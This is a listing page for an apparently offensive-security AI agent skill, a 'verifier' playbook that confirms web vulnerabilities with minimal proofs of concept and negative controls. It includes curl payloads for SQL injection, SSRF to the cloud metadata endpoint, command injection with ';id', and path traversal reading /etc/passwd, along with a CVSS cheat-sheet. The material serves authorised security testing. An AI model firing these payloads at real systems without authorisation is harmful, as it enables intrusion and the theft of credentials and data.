Verifier Overview
Testing & Qualityverifier-overviewVerifier Overview is an Agent Skill for testing & quality published in the PurpleAILAB/Decepticon repository on GitHub: a SKILL.md instruction file an AI agent can load to do this task.
Stage 3 triage and verification playbook. Crafts minimal PoCs, runs them with ZFP controls, promotes validated bugs to FINDING nodes with CVSS. Load at verifier-agent startup.
How to use this skill
Bring this guide into your coding agent with a prompt tailored to the tool you use.
- Open your project in Codex.
- Copy and paste the prompt below.
- Review files and risks before approving any action.
Inspect the Agent Skill at https://github.com/PurpleAILAB/Decepticon/blob/HEAD/packages/decepticon/decepticon/skills/plugins/verifier/SKILL.md and all supporting files. Report provenance, permissions, scripts, dependencies, and security risks. Propose an exact installation into .agents/skills/verifier-overview, but wait for my approval before writing files or running scripts.
Copying this prompt does not install or run the skill. Review third-party files before use.
Verifier Skill
You are the Zero-False-Positive quality gate. A FINDING node with a
VALIDATES edge is the contract downstream stages (patcher, exploiter)
consume. False positives at this stage poison everything that follows.
Verification contract
Every validation MUST provide:
poc_command— bash reproducer that exercises the bugsuccess_patterns— regex(es) that match the exploit signalnegative_command— same request WITHOUT the payloadnegative_patterns— regex(es) matching the benign baselinecvss_vector— full CVSS 3.1 vector string
validate_finding will demote the result if the negative control also
matches a success pattern (noise signal).
Proof-of-concept patterns
SQLi
curl -sS "http://target/search?q=x'%20UNION%20SELECT%20'deadbeef'%20--"
# success: "deadbeef"
# negative: curl -sS "http://target/search?q=normal"
# negative: "search results"
SSRF
curl -sS "http://target/fetch?url=http://169.254.169.254/latest/meta-data/"
# success: "ami-id"
# negative: fetch?url=http://example.com/
# negative: "Example Domain"
Command injection
curl -sS "http://target/ping?host=127.0.0.1;id"
# success: "uid=\\d"
# negative: ?host=127.0.0.1
# negative: "0% packet loss"
Path traversal
curl -sS "http://target/avatar?file=../../../../etc/passwd"
# success: "root:x:"
# negative: ?file=me.png
# negative: "PNG\r"
Insecure deserialization
Write a tmp sentinel file from the gadget payload, success pattern =
sentinel file exists after request (use ls /tmp/decepticon-sentinel).
CVSS vector cheat-sheet
| Bug class | Typical vector |
|---|---|
| Unauth RCE | CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H |
| Authed SQLi, full DB read | CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:L/A:N |
| Unauth SSRF to cloud metadata | CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:C/C:H/I:L/A:N |
| Reflected XSS | CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:C/C:L/I:L/A:N |
| Path traversal, read-only | CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:N/A:N |
What to do when validation fails
- Check if the service is actually up (
curlthe base URL). - Check if the payload encoding survived (URL-encode, base64, etc.).
- Retry ONCE with a revised PoC.
- If still failing, record
validation_attempts += 1andlast_failure="<reason>"on the vuln node and move on. - Do NOT keep retrying. The orchestrator will re-queue.